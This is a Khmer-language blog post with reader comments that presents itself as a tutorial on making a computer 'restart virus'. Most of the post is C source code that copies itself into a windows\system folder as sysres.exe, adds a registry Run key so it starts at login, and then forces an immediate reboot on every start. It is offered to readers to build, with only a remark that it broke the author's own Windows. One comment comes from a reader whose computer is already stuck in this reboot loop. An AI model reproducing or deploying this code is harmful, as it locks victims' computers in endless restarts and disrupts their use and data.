បង្កើតមេរោគ Restart កុំព្យូទ័រ ពេល Startup


ថ្ងៃនេះ ខេធី៤២ នឹងបង្ហាញជូនលោកអ្នកនូវរបៀបបង្កើតមេរោគ​ម៉្យាងដែលវាមានសមត្ថភាពអាច Restart កុំព្យូទ័រ ដោយខ្លួននៅពេលដែលយើងបើក។ នៅពេលដែលមេរោគនេះឆ្លង ចូលកុំព្យូទ័រណាហើយ កុំព្យូទ័រនោះតែងតែ Restart ដោយខ្លួនវាជារៀងរាល់ពេល មានន័យថានៅពេលដែលកុំព្យូទ័រចាប់ផ្ដើម Boot គឺមេរោគវាចាប់ផ្ដើមធ្វើទុក្ខបុកម្នេញតែម្ដង។

 ដោយវិធីបង្កើតវាយើងត្រូវសរសេរកូដនៅលើភាសា C

ខេធី៤២ សូមផ្ដាំថា ប្រសិនបើកុំព្យូទ័រលោកអ្នកមិនមានកម្មវិធីកម្ចាត់មេរោគស្របច្បាប់ទេ សូមកុំព្យាយាមបង្កើតវាលេងអី ព្រោះ ខេធី៤២ បានអនុវត្ដន៍ខូច Windows អស់មួយហើយ។
សូមអនុវត្តន៍ជាមួយកូដខាងក្រោម

#include<stdio.h>
#include<dos.h>
#include<dir.h>  

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //បញ្ជាក់ root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //បញ្ជាក់ថាទៅជាមេរោគបានឆ្លង ឬមិនទាន់ឆ្លង វានឹងតំឡើង ឬអត់
if(done==0)
{
found=1;//មានន័យថា system របស់អ្នកបានឆ្លងរួចរាល់ហើយ
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //ប្រសិនបើ System មិនទាន់បានឆ្លង
{
self=fopen(_argv[0],”rb”); //មេរោគ នឹងដំណើរការដោយខ្លួនឯង
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //កន្លែងចម្លងខ្លួនដោយខ្លួនវាផ្ទាល់
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //ដាក់ file  registry សម្រាប់ starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0″); //ប្រសិន system ត្រូវបានឆ្លងរួចហើយវានឹងដំណើរ command  restart
}

ដើម្បីស្វែងយល់ពីមេរោគ សូមចុចទីនេះ

Advertisements

អំពីម្ចាស់ប្លក គង់ តូ
យើងរស់នៅក្នុងពិភពបច្ចេកវិទ្យា ប្រសិនបើលោកអ្នកគាំទ្រស្នាដៃ ខេធី៤២ សូមចូលទៅកាន់ www.kt42.info

13 Responses to បង្កើតមេរោគ Restart កុំព្យូទ័រ ពេល Startup

  1. DYNA-DAILY says:

    បើបង្កើតវាហើយបំផ្លាញខ្លួនឯងយ៉ាងនេះតើគួរនឹងរៀនវាដើម្បីអ្វី?
    អរគុណចំពោះចំណេះដឹងនេះ។
    ខេធី​42 ខ្ញុំមានបញ្ហាមួយសូមឲខេធី​42ជួយដោះស្រាយ
    ខ្ញុំមានទិន្នន័យដែលសរសេរជាfonts Khmer Unicode ប៉ុន្តែខ្ញុំមិនអាច​ ដំណើការ Sort , Filter, Find បាននៅលើ
    ំMicrosoft Excel តើធ្វើដូចម្តេចដោះស្រាយបញ្ហានេះបានព្រោះវាជាកង្វល់ធំណាស់ទាក់ទងនឹងស្ថិតិទិន្នន័យ។
    ខ្ញុំសង្ឃឹមថា ខេធី​42​ នឹងជួយបាន។ សូមអរគុណទុកជាមុន ។

  2. enana88 says:

    យកជ័រព្នៅលុញក្លៀកហើយនៀក

    • អរគុណ ហើយដែលមកលេងដល់ផ្ទះ ហើយផ្លែផ្កាឱ្យទៀត

      • enana88 says:

        រឿងល្អៗមិនសសេរ បែរជានាំគេខូចទៅវិញ ចាំមើលពេលញ៉ុមចេះ ដឹងតា៎ខេធីឯងវិលមុខ​នឹងស្កេនមេរោគបស់ញ៉ុមហើយ!

  3. vandacam says:

    ដើរ​ចូល​លេង​ផ្ទះ​គេ​ដើម្បី​ឲ្យ​គេ​បាន​ស្គាល់​មាន់​ថ្មី​សិន​!! 😀 សួ​ចា​ដី​! ហើយ​ប្រ​កាស​ដែល​បង​សរសេរ​នឹង​ ខ្ញុំ​ចង់​ប្រាប់​ថា​ខ្ញុំ​អត់​អនុវត្ត​តាម​ទេ​ 🙂

  4. រតនា says:

    អរគុណបងដែលចែករំលែក ! ខ្ញុំគិតថាវាមិនមែនជារឿងមិនល្អនោះ សំខាន់នោះគឹ បើយើងចេះបង្កើតតែយើងមិនអនុវត្តទៅគឺបានហើយ តែយើងរៀននេះដើម្បីដឹងពីដំណើរការរបស់វា តើមេរោគនេះ វាដំណើរយ៉ាងដូចម្តេច ពេលយើងដឹងពីដំណើរការ និង អាចបង្កើតវាបាន នោះយើងអាចរកវិធីផ្សេងៗដើម្បីទប់ស្កាត់មេរោគនោះវិញបានដែរ ។ បាទនេះជាយោបល់របស់ខ្ញុំទេ បើមានការខុសឆ្គងសូមអធ្យាស្រ័យផង 🙂

  5. កូនល្ង says:

    ខ្ញុំគិតថាcode nis ល្អណាស់ thank Mr.ខេធី៤២:D

  6. ម៉ៅ​ សុវិរះ says:

    គំនិតល្អបង្ហាញក្នុងន័យអាក្រក់។

    • អរគុណ សុខសប្បាយទេ វិរៈ?
      យ៉ាងម៉េចហើយ ធ្វើការនៅណា ឥឡូវនេះ?

  7. ហម​ ចិត្ត says:

    ខ្ញុំសុំសួថាតើអាចមានវិធីដោះស្រាយទេ។​ ព្រោះ computer ខ្ញុំឆ្លងមេរោគ Restart ហើយ។​ បើមានប្រាប់ផង។

  8. Pingback: my hate « km71

  9. advinya says:

    សួស្តីបង!!!​ សុខដូចរាល់ដង​អត់ថ្ងៃនឹង​?​ សុំសួតិចមក តើមេរោគបងសរសេរនេះយើងសរសេរតាម notepad បានអត់បង ?

ឆ្លើយ​តប

Fill in your details below or click an icon to log in:

ឡូហ្កូ WordPress.com

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី WordPress.com របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

រូប Twitter

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Twitter របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

រូបថត Facebook

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Facebook របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

Google+ photo

អ្នក​កំពុង​បញ្ចេញ​មតិ​ដោយ​ប្រើ​គណនី Google+ របស់​អ្នក​។ Log Out / ផ្លាស់ប្តូរ )

កំពុង​ភ្ជាប់​ទៅ​កាន់ %s

%d bloggers like this: